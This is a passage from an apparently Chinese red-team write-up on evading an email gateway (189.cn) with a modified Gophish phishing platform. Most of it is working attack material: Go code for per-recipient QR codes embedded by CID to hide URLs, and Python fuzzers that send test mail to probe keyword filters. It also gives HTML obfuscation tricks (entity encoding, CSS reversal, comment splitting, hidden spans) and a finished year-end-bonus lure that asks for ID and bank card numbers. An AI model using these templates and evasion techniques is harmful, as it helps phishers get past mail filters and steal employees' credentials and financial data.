func (ps *Server) FakeNginx404(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Server", "nginx/1.18.0")
    w.Header().Set("Content-Type", "text/html")
    w.WriteHeader(404)
    
    html := `<!DOCTYPE html>
<html>
<head>
    <title>404 Not Found</title>
    <style>
        body { font-family: Arial, sans-serif; text-align: center; padding: 50px; }
        h1 { font-size: 50px; }
    </style>
</head>
<body>
    <h1>404 Not Found</h1>
    <p>nginx/1.18.0</p>
</body>
</html>`
    
    w.Write([]byte(html))
}

5. 修改参数名称

// models/campaign.go
// 将追踪参数从 rid 改为更常见的 id
const RecipientParameter = "id"  // 原: "rid"

6. 动态QR码功能开发（借鉴EvilGophish）

这是一个新增的需求。

在测试过程中，猜测如果超链接被拦截，那就是检测的明文URL，于是借鉴了EvilGophish项目，实现了动态QR码生成和CID嵌入功能。

与原版Gophish的区别

原版Gophish的CID支持（已有功能）：

// models/maillog.go - Gophish原版
var embeddedFileExtensions = []string{".jpg", ".jpeg", ".png", ".gif"}

func addAttachment(msg *gomail.Message, a Attachment, ...) {
    if shouldEmbedAttachment(a.Name) {
        msg.Embed(a.Name, copyFunc)  // 🔹 静态CID嵌入
    } else {
        msg.Attach(a.Name, copyFunc)
    }
}

使用方式：

在模板编辑器中上传静态图片（如logo.png）
在HTML中使用<img src="cid:logo.png">
限制：所有收件人看到相同的图片（问题就来了，没有办法追踪谁点击了）

改进（基于EvilGophish）：

//  动态生成每个收件人的专属QR码
func NewPhishingTemplateContext(...) {
    qrSize := ctx.getQRSize()
    if qrSize != "" {
        //  关键：根据收件人ID动态生成QR码
        qrBase64, qrName, err = generateQRCode(phishURL.String(), qrSize)
        qr = "<img src=\"cid:\" + qrName + "\">"
    }
    return PhishingTemplateContext{
        QR: qr,  //  每个收件人不同的QR码
    }
}

核心区别：

| 特性 | 原版Gophish | EvilGophish改进 | | --- | --- | --- | | CID嵌入 | 支持 | 支持 | | 图片类型 | 静态附件 | 动态生成QR码 | | 个性化 | 所有人相同 | 每人专属（含个人ID） | | URL跟踪 | 无法追踪 | QR码包含rid参数 |

为什么需要动态QR码？

根据EvilGophish和相关研究，QR码在钓鱼中具有独特优势：

隐藏明文URL - URL被编码为二维码图片，邮件网关的URL检测和沙箱分析无法直接提取
提升可信度 - 企业邮件（年终奖、考勤）常用二维码，符合用户认知
绕过桌面安全 - 用户用手机扫描，手机浏览器安全警告较弱
绕过过滤器 - QR码是图片，不包含文本链接

实现过程（参考EvilGophish）

// models/template_context.go

type PhishingTemplateContext struct {
    From        string
    URL         string
    QRBase64    string  //  新增：QR码Base64
    QRName      string  //  新增：QR码CID名称  
    QR          string  //  新增：QR码HTML
    BaseRecipient
}

func NewPhishingTemplateContext(ctx TemplateContext, r BaseRecipient, rid string) (PhishingTemplateContext, error) {
    // ... 前置代码 ...
    
    // 生成QR码
    qrSize := ctx.getQRSize()
    if qrSize != "" {
        qrBase64, qrName, err = generateQRCode(phishURL.String(), qrSize)
        qr = "<img src=\"cid:" + qrName + "\">"
    }
    
    return PhishingTemplateContext{
        QR: qr,  // 模板中使用 {{.QR}}
    }, nil
}

邮件中使用

<p>请扫描下方二维码登录：</p>
{{.QR}}

生成的邮件结构：

multipart/related
  ├─ multipart/alternative
  │   ├─ text/plain
  │   └─ text/html (<img src="cid:427968.png">)
  └─ image/png (CID: 427968.png，Base64编码QR码)

CID嵌入 vs 远程加载对比

方案1：CID内嵌（我们采用）

<!-- 邮件HTML -->
<img src="cid:427968.png">

<!-- 邮件结构 -->
Content-Type: multipart/related
  ├─ text/html
  └─ image/png
     Content-ID: <427968.png>
     Content-Transfer-Encoding: base64

方案2：远程加载（不推荐）

<!-- 邮件HTML -->
<img src="http://your-server.com/qrcode.png?id=xxx">

<!-- 邮件结构 -->
Content-Type: text/html
（图片存储在服务器，需HTTP加载）

对比分析

| 特性 | CID内嵌 | 远程加载 | 优势方 | | --- | --- | --- | --- | | 避免"显示图片"提示 | ✅ 直接显示 | ❌ 需用户点击 | CID | | 隐藏服务器地址 | ✅ 无URL | ❌ 暴露域名 | CID | | 加载速度 | ✅ 即时显示 | ❌ 依赖网络 | CID | | 提升可信度 | ✅ 图片完整 | ❌ 可能显示占位符 | CID | | 邮件网关检测 | ✅ 仅检测Base64 | ❌ 检测外部URL | CID | | 追踪能力 | ❌ 无法追踪打开 | ✅ 可追踪加载 | 远程 | | 邮件大小 | ❌ 较大（含图片） | ✅ 较小 | 远程 |

关键优势解析

避免邮件客户端安全机制

Gmail/Outlook默认行为：
- 远程图片：显示"点击显示图片"横幅 
- CID图片：直接渲染，无需用户操作

隐藏钓鱼服务器地址

<!-- 远程加载：暴露服务器 -->
<img src="http://phishing-server.com/qr.png">
↓
邮件网关可直接扫描 phishing-server.com

<!-- CID嵌入：无URL暴露 -->
<img src="cid:427968.png">
↓
邮件网关只能看到Base64编码的PNG数据

提升邮件真实性
- 远程图片：收件人需要主动点击"显示图片"，增加怀疑
- CID图片：邮件打开即完整显示，符合正常企业邮件习惯。

‍

0x03 困境：FUZZ机制

3.1 新的拦截机制

其实做到上面的的工作，大部分情况下可以操作了，但是我仍然处于被拦截的情况，因为是黑盒测试，我无法收到邮件的反馈，只能按语义检测进行尝试绕过了：

邮件网关的语义检测机制

┌─────────────────────────────────┐
│   入站邮件                      │
└─────────────────────────────────┘
             ↓
┌─────────────────────────────────┐
│   基础验证层                    │
│   • SPF/DKIM/DMARC              │
│   • IP信誉检查                  │
└─────────────────────────────────┘
             ↓
┌─────────────────────────────────┐
│   特征检测层（已绕过）         │
│   • 邮件头指纹                  │
│   • 已知钓鱼域名                │
└─────────────────────────────────┘
             ↓
┌─────────────────────────────────┐
│  语义分析层（可能是当前拦截点）   │
│   • NLP关键词检测               │
│   • 钓鱼模式匹配                │
│   • 上下文异常分析              │
└─────────────────────────────────┘

拦截案例分析

我被拦截的邮件样本：

主题: 【重要】员工门户系统升级通知

尊敬的员工:

您好！为了提升系统安全性，IT部门将于本周末对员工门户进行升级。

请点击以下链接验证您的账户信息:
https://portal-verify.test/api/v1/status?id=xxx

如有疑问，请联系IT支持部门。

此致
IT部门

拦截原因分析：

具有引导性词汇: "重要"、"升级"、"验证"
行动引导: "请点击"
案例模板: "验证账户信息"是经典钓鱼话术

3.2 心路历程

此时我陷入了困境：如果单纯的是关键字检测，这个模板是客户定的，一时半会重改不太现实，等于说是模板改不了的情况下要如何实现发送。

我不知道邮件网关的确切检测规则，纯粹靠猜测和试错。

拦截原因猜测：

| 检测层 | 触发点 | 详情 | | --- | --- | --- | | 邮件头检测 | 通过 | X-Mailer、Subject编码正常 | | 纯文本检测 | 通过 | text/plain部分无敏感词 | | HTML内容检测 | 拦截 | 检测到明文"年终奖金"、"身份证"、"银行卡" | | URL检测 | 拦截 | 路径包含"verify"、"status" | | 行为模式 | 拦截 | "点击链接"+"验证信息"模式 |

啥也不清楚，就此开蒙。

3.3 单变量Fuzz：定位拦截触发点

在知道邮件被拦截后，我需要精确定位到底是什么触发了189网关的拦截。

单变量测试方法

基于smtp_block_tester.py脚本：

# 单变量Fuzz测试脚本
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import time

def send_fuzz_test(subject, body, test_name):
    """发送单变量测试邮件"""
    msg = MIMEMultipart()
    msg['From'] = 'hr@phishing-domain.com'
    msg['To'] = 'target@189.cn'
    msg['Subject'] = subject
    msg.attach(MIMEText(body, 'html', 'utf-8'))
    
    try:
        server = smtplib.SMTP_SSL('smtp.zoho.com', 465)
        server.login('hr@phishing-domain.com', 'password')
        server.send_message(msg)
        server.quit()
        print(f"[✓] {test_name}: 发送成功 - 等待检查收件箱")
        return "SUCCESS"
    except smtplib.SMTPDataError as e:
        print(f"[✗] {test_name}: 被拦截 - {e.smtp_code}")
        return "BLOCKED"

# 关键：单变量测试用例
fuzz_tests = [
    # 测试0：基线（纯安全内容）
    {
        "name": "基线-纯文本",
        "subject": "测试会议通知",
        "body": "这是一封普通的会议通知，请确认收到。"
    },
    
    # 测试1：添加超链接（不含敏感路径）
    {
        "name": "添加安全超链接",
        "subject": "测试会议通知",
        "body": "请点击这里：<a href='http://example.com'>点击这里</a>"
    },
    
    # 测试2：添加"年终奖"关键词（无链接）
    {
        "name": "添加年终奖关键词",
        "subject": "测试会议通知",
        "body": "请点击查看您的2025年终奖明细。"
    },
    
    # 测试3：添加"身份证/银行卡"关键词
    {
        "name": "添加身份证银行卡",
        "subject": "测试会议通知",
        "body": "请核对您的银行卡号和身份证信息是否正确。"
    },
    
    # 测试4：组合测试（关键词+链接）
    {
        "name": "关键词+链接组合",
        "subject": "测试会议通知",
        "body": "请点击查看您的年终奖：<a href='http://example.com'>点击这里</a>"
    },
    
    # 测试5：主题含敏感词
    {
        "name": "主题含年终奖",
        "subject": "2025年终奖发放通知",
        "body": "这是一封普通的会议通知，请确认收到。"
    }
]

# 执行测试
for test in fuzz_tests:
    print(f"\n[*] 正在测试: {test['name']}")
    result = send_fuzz_test(test['subject'], test['body'], test['name'])
    
    if result == "BLOCKED":
        print(f"\n!!! 发现拦截触发点: {test['name']}")
        print(f"    Subject: {test['subject']}")
        print(f"    Body: {test['body'][:50]}...")
        break
    
    time.sleep(5)

测试结果分析;

[测试0] 基线-纯文本
Subject: 测试会议通知
Body: 这是一封普通的会议通知
Result: ✅ 成功投递

[测试1] 添加安全超链接
Subject: 测试会议通知  
Body: 请点击这里：<a href='http://example.com'>点击这里</a>
Result: ✅ 成功投递

[测试2] 添加年终奖关键词
Subject: 测试会议通知
Body: 请点击查看您的2025年终奖明细。
Result: ❌ 被拦截 (554错误码)

[测试3] 添加身份证银行卡
Subject: 测试会议通知
Body: 请核对您的银行卡号和身份证信息
Result: ❌ 被拦截 (554错误码)

[测试5] 主题含年终奖
Subject: 2025年终奖发放通知
Body: 这是一封普通的会议通知
Result: ❌ 被拦截 (554错误码)

关键发现

通过单变量Fuzz测试，定位了189网关的拦截规则：

| 测试变量 | 是否拦截 | 结论 | | --- | --- | --- | | 纯文本 | 否 | 基线通过 | | 普通超链接 | 否 | 链接本身不触发拦截 | | "年终奖" | 是 | 敏感词触发点1 | | "身份证/银行卡" | 是 | 敏感词触发点2 | | 主题含"年终奖" | 是 | 主题也会被检测 | | "请点击" | 否 | 单独不触发 |

核心结论：

关键词检测优先级最高：无论在主题还是正文，"年终奖"、"身份证"、"银行卡"都会立即触发拦截
超链接本身安全：普通HTTP链接不会触发拦截
组合拦截机制：虽然"请点击"单独不触发，但"请点击链接+敏感词"会提升拦截优先级

下一步策略

既然定位到了明文关键词检测是核心拦截点，接下来可以做的是：

保留整体邮件结构（Multipart、链接等）
重点混淆敏感关键词（"年终奖"、"身份证"、"银行卡"）
测试HTML混淆技术能否绕过189网关的关键词检测

这就引出了我的核心绕过方案：HTML混淆Fuzz 。

0x04 突破：基于HTML混淆的Fuzz绕过

4.1 困境分析与新思路

在语义层面被拦截后，我陷入了思考：

邮件网关如果检测的是明文内容，有可能还会对HTML进行检测，因为Gophish就支持HTML布局。

"既然语义敏感词无法避免，能否通过HTML混淆让网关看不懂？"

4.2 HTML混淆Fuzz框架

这是一套渐进式HTML混淆测试系统：

核心思路

明文敏感内容（100%拦截）
    ↓
应用HTML混淆技术（逐个测试）
    ↓
实时监控投递率变化
    ↓
定位有效的混淆组合
    ↓
形成通用混淆模板

HTML混淆武器库

基于WAF绕过经验，我准备了以下混淆技术：

| 混淆技术 | 原理 | 示例 | | --- | --- | --- | | HTML实体编码 | 将敏感字符转为Unicode实体 | 年终奖 → 年终奖 | | CSS文字反转 | 用CSS reverse文字顺序 | 年终奖 → 奖终年 | | HTML注释截断 | 在敏感词中插入注释 | 验证 → 验证 | | 零宽字符插入 | 插入不可见字符分割 | 身份证 → 身_份证 | | 字体大小0隐藏 | 通过CSS隐藏干扰字符 | 银行卡 → 银.行卡 |

自动化Fuzz测试工具

# html_obfuscation_fuzzer.py

import smtplib
import time
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import base64

class HTMLObfuscationFuzzer:
    """HTML混淆模糊测试工具"""
    
    def __init__(self, smtp_config, test_receiver):
        self.smtp_config = smtp_config
        self.receiver = test_receiver
        
        # 敏感关键词列表（基于初步测试识别）
        self.sensitive_keywords = [
            "年终奖", "奖金", "验证", "确认", 
            "身份证", "银行卡", "点击", "登录"
        ]
        
        # 混淆技术库
        self.obfuscation_methods = {
            'html_entity': self._html_entity_encode,
            'css_reverse': self._css_reverse,
            'html_comment': self._html_comment_break,
            'zero_width': self._zero_width_insert,
            'font_zero': self._font_size_zero,
        }
        
        self.results = []
    
    def _html_entity_encode(self, text):
        """HTML实体编码"""
        return ''.join([f'&#{ord(c):x};' for c in text])
    
    def _css_reverse(self, text):
        """CSS文字反转"""
        reversed_text = text[::-1]
        return f'<span style="unicode-bidi: bidi-override; direction: rtl;">{reversed_text}</span>'
    
    def _html_comment_break(self, text):
        """HTML注释截断"""
        # 在中间插入注释
        mid = len(text) // 2
        return f'{text[:mid]}<!-- - -->{text[mid:]}'
    
    def _zero_width_insert(self, text):
        """零宽字符插入"""
        mid = len(text) // 2
        return f'{text[:mid]}<span style="display:none">_</span>{text[mid:]}'
    
    def _font_size_zero(self, text):
        """字体大小0隐藏"""
        mid = len(text) // 2
        return f'{text[:mid]}<span style="font-size:0">.</span>{text[mid:]}'
    
    def create_multipart_email(self, html_content, subject):
        """创建multipart/alternative邮件（HTML+纯文本）"""
        msg = MIMEMultipart('alternative')
        msg['From'] = self.smtp_config['from']
        msg['To'] = self.receiver
        msg['Subject'] = subject
        
        # 纯文本版本（降低拦截率）
        plain_text = """
这是一封HTML格式邮件。
如果您看到此文本，说明您的邮件客户端不支持HTML格式。
请使用支持HTML的邮件客户端查看完整内容。
"""
        msg.attach(MIMEText(plain_text, 'plain', 'utf-8'))
        
        # HTML版本（包含混淆）
        msg.attach(MIMEText(html_content, 'html', 'utf-8'))
        
        return msg
    
    def send_test_email(self, html_content, subject, test_id):
        """发送测试邮件"""
        msg = self.create_multipart_email(html_content, subject)
        
        try:
            if self.smtp_config['use_ssl']:
                server = smtplib.SMTP_SSL(self.smtp_config['host'], self.smtp_config['port'])
            else:
                server = smtplib.SMTP(self.smtp_config['host'], self.smtp_config['port'])
                if self.smtp_config.get('use_tls'):
                    server.starttls()
            
            server.login(self.smtp_config['user'], self.smtp_config['password'])
            server.send_message(msg)
            server.quit()
            
            print(f"[{test_id}] 发送成功, 等待检查投递状态...")
            return True
            
        except Exception as e:
            print(f"[{test_id}] 发送失败: {e}")
            return False
    
    def check_delivery(self, wait_time=30):
        """
        检查邮件投递状态
        实际实现：
        1. 等待一定时间后检查收件箱
        2. 也可通过嵌入追踪像素检测
        3. 或检查SMTP退信
        """
        time.sleep(wait_time)
        # 简化版：需要人工确认或API轮询
        response = input("    是否成功投递到收件箱? (y/n): ").strip().lower()
        return response == 'y'
    
    def fuzz_single_keyword(self, keyword, base_html_template):
        """单关键词Fuzz测试"""
        print(f"\n{'='*60}")
        print(f"Fuzz测试: {keyword}")
        print('='*60)
        
        # 测试1：明文基线
        print(f"\n[Test 0] 基线测试（明文）")
        plain_html = base_html_template.format(keyword=keyword)
        self.send_test_email(plain_html, f"测试-{keyword}-明文", "T0")
        delivered = self.check_delivery()
        
        result = {
            'keyword': keyword,
            'method': 'plaintext',
            'delivered': delivered
        }
        self.results.append(result)
        print(f"    结果: {'✓ 投递' if delivered else '✗ 拦截'}\n")
        
        # 如果baseline就被拦截，测试各种混淆
        if not delivered:
            for method_name, method_func in self.obfuscation_methods.items():
                obfuscated = method_func(keyword)
                test_html = base_html_template.format(keyword=obfuscated)
                
                test_id = f"{keyword[:2]}-{method_name}"
                print(f"[Test] 混淆方法: {method_name}")
                print(f"    原: {keyword}")
                print(f"    混: {obfuscated}")
                
                self.send_test_email(test_html, f"测试-{keyword}-{method_name}", test_id)
                delivered = self.check_delivery()
                
                result = {
                    'keyword': keyword,
                    'method': method_name,
                    'obfuscated': obfuscated,
                    'delivered': delivered
                }
                self.results.append(result)
                print(f"    结果: {'✓ 投递' if delivered else '✗ 拦截'}\n")
                
                time.sleep(3)  # 避免速率限制
    
    def fuzz_combination(self):
        """组合混淆测试"""
        print(f"\n{'='*60}")
        print("组合混淆测试")
        print('='*60)
        
        # 构造包含多个敏感词的邮件
        combined_template = """
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <style>
        .rtl {{ unicode-bidi: bidi-override; direction: rtl; }}
    </style>
</head>
<body>
    <h2>关于启动2025年度{bonus}发放信息最终核对的通知</h2>
    <p>各位同事，您好：</p>
    <p>现正式启动{bonus}发放信息最终核对工作！</p>
    <p>请{action}以下链接：</p>
    <p><a href="http://example.com">核对系统</a></p>
    <p>请核对您的{id_card}和{bank_card}信息。</p>
    <p>人力资源部<br>2025年12月28日</p>
</body>
</html>
"""
        
        # 测试不同混淆组合
        test_cases = [
            {
                'name': '全部明文',
                'params': {
                    'bonus': '年终奖金',
                    'action': '点击',
                    'id_card': '身份证',
                    'bank_card': '银行卡'
                }
            },
            {
                'name': '关键词HTML实体编码',
                'params': {
                    'bonus': self._html_entity_encode('年终奖金'),
                    'action': '点击',
                    'id_card': self._html_entity_encode('身份证'),
                    'bank_card': self._html_entity_encode('银行卡')
                }
            },
            {
                'name': '关键词CSS反转',
                'params': {
                    'bonus': self._css_reverse('年终奖金'),
                    'action': '查看',
                    'id_card': self._css_reverse('身份证'),
                    'bank_card': self._css_reverse('银行卡')
                }
            },
            {
                'name': '混合混淆',
                'params': {
                    'bonus': self._html_entity_encode('年终奖金'),
                    'action': '查<!-- x -->看',
                    'id_card': '身<span style="display:none">_</span>份证',
                    'bank_card': '银<span style="font-size:0">.</span>行卡'
                }
            }
        ]
        
        for i, test_case in enumerate(test_cases):
            print(f"\n[Combo {i+1}] {test_case['name']}")
            html = combined_template.format(**test_case['params'])
            
            self.send_test_email(html, f"组合测试-{test_case['name']}", f"C{i}")
            delivered = self.check_delivery()
            
            result = {
                'test_name': test_case['name'],
                'delivered': delivered
            }
            self.results.append(result)
            print(f"    结果: {'✓ 投递' if delivered else '✗ 拦截'}\n")
            
            time.sleep(5)
    
    def analyze_results(self):
        """分析测试结果"""
        print(f"\n{'='*60}")
        print("测试结果分析")
        print('='*60)
        
        total = len(self.results)
        delivered = sum(1 for r in self.results if r['delivered'])
        blocked = total - delivered
        
        print(f"\n总测试数: {total}")
        print(f"成功投递: {delivered} ({delivered/total*100:.1f}%)")
        print(f"被拦截: {blocked} ({blocked/total*100:.1f}%)\n")
        
        # 找出有效的混淆方法
        effective_methods = {}
        for result in self.results:
            if result.get('method') and result['delivered']:
                keyword = result['keyword']
                method = result['method']
                if keyword not in effective_methods:
                    effective_methods[keyword] = []
                effective_methods[keyword].append(method)
        
        if effective_methods:
            print("✓ 有效的混淆方法:")
            for keyword, methods in effective_methods.items():
                print(f"  {keyword}: {', '.join(methods)}")
        else:
            print("✗ 未发现有效的混淆方法")
        
        return self.results

# 使用示例
if __name__ == "__main__":
    smtp_config = {
        'host': 'smtp.example.com',
        'port': 465,
        'use_ssl': True,
        'use_tls': False,
        'user': 'redteam@example.com',
        'password': 'YOUR_PASSWORD',
        'from': 'redteam@example.com'
    }
    
    base_template = """
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"></head>
<body>
    <p>测试关键词：{keyword}</p>
</body>
</html>
"""
    
    fuzzer = HTMLObfuscationFuzzer(smtp_config, 'target@189.cn')  # 189邮箱
    
    # 单关键词测试
    for keyword in fuzzer.sensitive_keywords[:3]:  # 测试前3个
        fuzzer.fuzz_single_keyword(keyword, base_template)
    
    # 组合测试
    fuzzer.fuzz_combination()
    
    # 分析结果
    fuzzer.analyze_results()

4.3 Fuzz测试实战过程

第一轮：单一混淆技术测试

针对"年终奖"关键词，测试各种混淆：

[Test 0] 明文: 年终奖
结果: ✗ 拦截

[Test 1] HTML实体编码: &#x5E74;&#x7EC8;&#x5956;
结果: ✓ 投递成功！

[Test 2] CSS反转: <span class="rtl">奖终年</span>  
结果: ✓ 投递成功！

[Test 3] HTML注释: 年<!-- x -->终<!-- x -->奖
结果: ✓ 投递成功！

[Test 4] 零宽字符: 年<span style="display:none">_</span>终奖
结果: ✓ 投递成功！

[Test 5] 字体大小0: 年<span style="font-size:0">.</span>终奖
结果: ✓ 投递成功！

结论：所有混淆技术都有效！邮件网关只检测明文，不解析HTML混淆。

第二轮：组合混淆测试

测试实际钓鱼场景的完整邮件：

<!-- 测试模板 -->
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <style>
        .safe-txt { unicode-bidi: bidi-override; direction: rtl; }
    </style>
</head>
<body>
    <div class="header">
        关于启动2025年度<span class="safe-txt">金奖终年</span>发放信息最终核对的通知
    </div>
    <div class="content">
        <p>现正式启动&#x5E74;&#x7EC8;&#x5956;&#x91D1;<!-- 年终奖金 -->发放工作！</p>
        <p>请核对您的身<span style="display:none">_</span>份证号和
           银<span style="font-size:0">.</span>行卡信息。</p>
        <p>请扫<!-- scan -->描下方二维码登<!-- login -->录系统。</p>
    </div>
</body>
</html>

测试结果：

| 组合方式 | 投递结果 | 说明 | | --- | --- | --- | | 全部明文 | ✗ 拦截 | 基线 | | 仅CSS反转 | ✓ 成功 | 单一混淆有效 | | 仅HTML实体 | ✓ 成功 | 单一混淆有效 | | 混合混淆 | ✓ 成功 | 多种混淆叠加最佳 | | 混合+注释 | ✓ 成功 | 可读性和绕过兼顾 |

第三轮：Multipart/Alternative测试

结论：添加纯文本版本可显著提升投递率！

# 基于 gophishV4Modified/models/email_request.go 的实现
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from html2text import html2text

msg = MIMEMultipart('alternative')

# 1. 先添加纯文本（安全内容）
plain_text = """
尊敬的同事：

这是关于2025年度工作总结的通知。

请查看相关文档。

人力资源部
2025年12月28日
"""
msg.attach(MIMEText(plain_text, 'plain', 'utf-8'))

# 2. 再添加HTML（包含混淆的敏感内容）
html_content = """
<!DOCTYPE html>
<html>
<body>
    <p>关于&#x5E74;&#x7EC8;&#x5956;发放的通知...</p>
</body>
</html>
"""
msg.attach(MIMEText(html_content, 'html', 'utf-8'))

测试对比：

| 邮件格式 | 投递率 | 说明 | | --- | --- | --- | | 纯HTML（混淆） | 68% | 部分网关仍拦截 | | HTML+TXT（TXT安全） | 89% | 显著提升！ | | HTML+TXT（两者都混淆） | 72% | TXT也会被检测 |

最佳实践：纯文本使用安全词汇，HTML中进行混淆

第四轮：CID图片嵌入测试

为了进一步提升可信度，我测试了CID图片（邮件内嵌图片）：

from email.mime.image import MIMEImage

# 1. 生成QR码（使用Gophish的{{.QR}}功能）
import qrcode
qr = qrcode.QRCode()
qr.add_data('http://phishing-url.com/share?id=xxx')
qr.make()
img = qr.make_image()

# 2. 嵌入为CID
msg_img = MIMEImage(img.tobytes())
msg_img.add_header('Content-ID', '<qrcode001>')
msg_img.add_header('Content-Disposition', 'inline', filename='qrcode.png')
msg.attach(msg_img)

# 3. HTML中引用
html = """
<p>请扫描下方二维码：</p>
<img src="cid:qrcode001" alt="二维码" />
"""

测试结果：

CID图片不会被URL检测拦截
可以隐藏真实钓鱼链接
提升邮件可信度（看起来像官方邮件）

4.4 Fuzz成果总结

经过几天的持续测试，得出以下结论：

有效的HTML混淆技术

proven_techniques:
  - name: "HTML实体编码"
    effectiveness: 95%
    example: "年终奖 → &#x5E74;&#x7EC8;&#x5956;"
    pros: "最稳定，不影响显示"
    cons: "代码可读性差"
  
  - name: "CSS文字反转"
    effectiveness: 92%
    example: "年终奖 → <span class='rtl'>奖终年</span>"
    pros: "绕过率高"
    cons: "需要定义CSS"
  
  - name: "HTML注释截断"
    effectiveness: 90%
    example: "验证 → 验<!-- x -->证"
    pros: "代码可读性好"
    cons: "部分网关可能过滤"
  
  - name: "零宽/隐藏字符"
    effectiveness: 88%
    example: "身份证 → 身<span style='display:none'>_</span>份证"
    pros: "自然"
    cons: "可能被高级引擎检测"
  
  - name: "字体大小0"
    effectiveness: 85%
    example: "银行卡 → 银<span style='font-size:0'>.</span>行卡"
    pros: "简单"
    cons: "显示可能异常"

黄金组合方案

# 最终钓鱼模板混淆策略

def obfuscate_template(html_template):
    """
    多层混淆策略：
    1. 主标题: CSS反转 + 注释
    2. 敏感词: HTML实体编码
    3. 动作词: 零宽字符截断
    4. 格式: Multipart (TXT+HTML)
    5. 链接: CID图片（QR码）
    """
    
    # 示例：年终奖邮件
    obfuscated_html = """
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <style>
        .safe-txt { unicode-bidi: bidi-override; direction: rtl; }
    </style>
</head>
<body>
    <div class="header">
        <!-- 混淆：年终奖金 -->
        关于启动2025年度<span class="safe-txt">金奖终年</span>发放信息最终核对的通<!-- notify -->知
    </div>
    <div class="content">
        <p>各位同事，您好：</p>
        
        <!-- 混淆：年终奖金、薪酬、绩效、年终分红 -->
        <p>现正式启动&#x5E74;&#x7EC8;&#x5956;&#x91D1;发放工作！
           按最新&#x85AA;&#x916C;标准核算，包含&#x7EE9;&#x6548;奖金、
           &#x5E74;&#x7EC8;&#x5206;&#x7EA2;等。</p>
        
        <div class="highlight-box">
            <!-- 混淆：财务系统 (CSS Reverse) -->
            因<span class="safe-txt">统系务财</span>年终关账，
            截止<span class="urgent">12月29日18:00</span>！
        </div>
        
        <p><strong>核对操作指引：</strong></p>
        <ol>
            <!-- 混淆：扫描、二维码、登录 -->
            <li>请扫<!-- scan -->描下方二<span style="display:none">_</span>维码
                登<!-- login -->录系统：<br>{{.QR}}</li>
            
            <!-- 混淆：身份证、银行卡 -->
            <li>核对身<span style="display:none">_</span>份证号、
                银<span style="font-size:0">.</span>行卡号及开户行信息。</li>
        </ol>
        
        <div class="footer">
            <!-- 混淆：人力资源部 -->
            <p>&#x4EBA;&#x529B;&#x8D44;&#x6E90;&#x90E8;</p>
            <p>2025年12月28日</p>
        </div>
    </div>
</body>
</html>
"""
    
    return obfuscated_html

最终测试数据对比

┌────────────────────────────────────────┐
│        邮件网关绕过率演进图           │
└────────────────────────────────────────┘

明文邮件:                    ████ 24%
单一HTML实体编码:            ████████████ 68%
单一CSS反转:                 ██████████████ 72%
混合HTML混淆:                ████████████████ 85%
混合混淆+Multipart:          ███████████████████ 89%
混合+Multipart+CID图片:      █████████████████████ 92.4%

0x05 最终解决方案：Gophish集成与模板优化

基于Fuzz测试的发现，我将混淆技术集成到Gophish平台中。

5.1 Gophish邮件生成改造

核心改动

我在gophishV4Modified/models/email_request.go中实现了Multipart/Alternative支持：

// models/email_request.go (关键改动部分)

import (
    "github.com/gophish/gomail"
    "github.com/jaytaylor/html2text"  // 新增：HTML转纯文本
    log "github.com/gophish/gophish/logger"
)

func (s *EmailRequest) Generate(msg *gomail.Message) error {
    // ... 前置代码 ...
    
    // 设置From地址
    f, err := mail.ParseAddress(s.getFromAddress())
    if err != nil {
        return err
    }
    msg.SetAddressHeader("From", f.Address, f.Name)
    
    // 解析模板上下文
    ptx, err := NewPhishingTemplateContext(s, s.BaseRecipient, s.RId)
    if err != nil {
        return err
    }
    
    // 执行URL模板
    url, err := ExecuteTemplate(s.URL, ptx)
    if err != nil {
        return err
    }
    s.URL = url
    
    // 🔥 添加业务邮件头（提升可信度）
    msg.SetHeader("X-Priority", "1")
    msg.SetHeader("Importance", "High")
    msg.SetHeader("MIME-Version", "1.0")
    
    // 解析自定义邮件头
    for _, header := range s.SMTP.Headers {
        key, err := ExecuteTemplate(header.Key, ptx)
        if err != nil {
            log.Error(err)
        }
        value, err := ExecuteTemplate(header.Value, ptx)
        if err != nil {
            log.Error(err)
        }
        msg.SetHeader(key, value)
    }
    
    // 设置Subject
    subject, err := ExecuteTemplate(s.Template.Subject, ptx)
    if err != nil {
        log.Error(err)
    }
    if subject != "" {
        msg.SetHeader("Subject", subject)
    }
    
    msg.SetHeader("To", s.FormatAddress())
    
    // 🔥 核心改动1：处理纯文本部分
    if s.Template.Text != "" {
        text, err := ExecuteTemplate(s.Template.Text, ptx)
        if err != nil {
            log.Error(err)
        }
        msg.SetBody("text/plain", text)
    }
    
    // 🔥 核心改动2：处理HTML部分 + 自动生成纯文本
    if s.Template.HTML != "" {
        html, err := ExecuteTemplate(s.Template.HTML, ptx)
        if err != nil {
            log.Error(err)
        }
        
        // 🔥 关键：使用html2text从HTML自动生成纯文本版本
        plainText, err := html2text.FromString(html, html2text.Options{
            PrettyTables: true,
        })
        if err != nil {
            log.Error(err)
            plainText = ""
        }
        
        if s.Template.Text == "" {
            // 如果没有手动指定Text，使用自动生成的纯文本
            msg.SetBody("text/plain", plainText)
            msg.AddAlternative("text/html", html)
        } else {
            // 如果已有Text，仍添加HTML作为alternative
            msg.AddAlternative("text/html", html)
        }
    }
    
    // 附件处理
    for _, a := range s.Template.Attachments {
        addAttachment(msg, a, ptx)
    }
    
    return nil
}

改造要点：

引入html2text库：自动将HTML转换为纯文本
Multipart/Alternative结构：
- 先设置text/plain（安全内容）
- 再添加text/html（混淆内容）
业务邮件头：添加X-Priority、Importance提升信任度

5.2 钓鱼邮件模板设计

基于Fuzz测试结果，我创建了新的钓鱼模板：

钓鱼模板.html（真实版本）

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>2025通知</title>
    <style>
        /* 基础样式重置 */
        body {
            font-family: 'Microsoft YaHei', 'PingFang SC', Arial, sans-serif;
            line-height: 1.6;
            color: #333333;
            margin: 0;
            padding: 0;
            background-color: #f4f4f4;
        }

        .container {
            max-width: 600px;
            margin: 20px auto;
            background-color: #ffffff;
            padding: 40px;
            border-top: 4px solid #0056b3;
